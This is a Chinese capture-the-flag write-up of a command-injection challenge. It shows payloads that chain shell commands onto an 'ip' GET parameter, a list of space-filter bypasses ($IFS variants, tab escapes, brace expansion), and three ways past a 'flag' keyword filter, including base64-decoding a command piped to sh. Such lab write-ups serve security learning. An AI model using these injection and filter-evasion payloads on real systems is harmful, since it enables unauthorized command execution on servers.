看页面提示, 显然是get
请求提交参数, 输入一个ip试试水
正常回显, 来个ls
看看
嚯, 好家伙, flag.php就在这里了,
这不得cat flag.php
搞它一手?
还是Too Young, 空格被过滤不让用, 看样子肯定没那么简单,
那么就需要绕过空格
常见的绕过空格过滤的方法:
1 2 3 4 5 6 7 8 9
| $IFS //Ubuntu20.04测试通过, 但是后面不能直接跟字符,应该用字符变量.比如str1=fl;str2=ag.php;cat$IFS$str1$str2是对的,而cat$IFSflag是错的 ${IFS} //Ubuntu20.04测试通过 $IFS$1 //Ubuntu20.04测试通过 $IFS$9 //Ubuntu20.04测试通过 < //Ubuntu20.04测试通过 <> //Ubuntu20.04测试通过 {cat,flag.php} //Ubuntu20.04测试通过 $'\x09' //Ubuntu20.04测试通过,\x09是制表符.使用方法,比如a=$'cat\x09flag';$a $'\x20' //Ubuntu20.04测试通过,\x20是空格.使用方法同上
|
emmmm, 空格是绕过去了, 但是还有一道flag关键词检测.
我们可以先看看index.php
里的过滤规则:
1
| ip=127.0.0.1;cat$IFS$1index.php
|
可以看到过滤的内容还是相当多的,
最过分的是flag关键词检测, 可谓十分粗暴
方法一
定义变量绕过关键词检测:
1
| ip=127.0.0.1;str1=fl;str2=ag.php;cat$IFS$str1$str2
|
还是不行,
看样子是要flag四个字母顺序出现在命令里就不行, 那好办,
变量俩调换一下位置就可以了:
1
| ip=127.0.0.1;str2=ag.php;str1=fl;cat$IFS$str1$str2
|
回显没了? 不慌, 可能是注释, 查看源码, flag到手
方法二 base64编码后解码执行
利用管道符, 先将命令用base64编码, 再解码传给sh执行,
这里还要采用%IFS$1
绕过空格限制
1
| ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
|
结果同上
方法三 利用反引号内联执行
同样的, 这里也需要用到$IFS$1
绕过空格
1
| ip=127.0.0.1;cat$IFS$1`ls`
|
查看源码, 可见index.php和flag.php都被显示了出来